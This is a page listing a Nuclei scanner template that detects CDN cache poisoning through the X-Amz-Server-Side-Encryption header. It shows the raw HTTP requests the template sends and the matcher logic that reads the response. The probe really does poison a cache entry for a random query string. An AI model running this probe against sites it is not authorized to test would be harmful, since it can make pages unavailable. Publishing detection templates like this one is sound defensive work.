Misconfigured CDN Cache Poisoning via X-Amz-Server-Side-Encryption Header

ID: cdn-cache-poisoning

Severity: unknown

Author: 0xcharan

Tags: cache,aws,poisoning,cdn,misconfig

Description

When the X-Amz-Server-Side-Encryption header is sent with user controlled value, it can lead to a misconfigured CDN cache response with a 400 status code, making the page inaccessible.

YAML Source

id: cdn-cache-poisoning

info:
  name: Misconfigured CDN Cache Poisoning via X-Amz-Server-Side-Encryption Header
  author: 0xcharan
  severity: unknown
  description: |
    When the X-Amz-Server-Side-Encryption header is sent with user controlled value, it can lead to a misconfigured CDN cache response with a 400 status code, making the page inaccessible.
  reference:
    - https://portswigger.net/web-security/web-cache-poisoning
  metadata:
    verified: true
    max-request: 2
    shodan-query: X-Amz-Server-Side-Encryption
  tags: cache,aws,poisoning,cdn,misconfig
variables:
  string: "{{to_lower(rand_base(8))}}={{to_lower(rand_base(8))}}"

http:
  - raw:
      - |
        GET /?{{string}} HTTP/1.1
        Host: {{Hostname}}
        X-Amz-Server-Side-Encryption: {{randstr}}

      - |
        GET /?{{string}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}")'
          - 'status_code_2==400'
        condition: and
# digest: 4a0a0047304502203a67ffa44993964079a182bcd558ce1a04b26f229bef1e667b7ed3e846465d490221009569c1170ba8bb03588e36fbe85e19d27a89ada68a82c5731e745b9de88e4633:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/aws/cdn-cache-poisoning.yaml"

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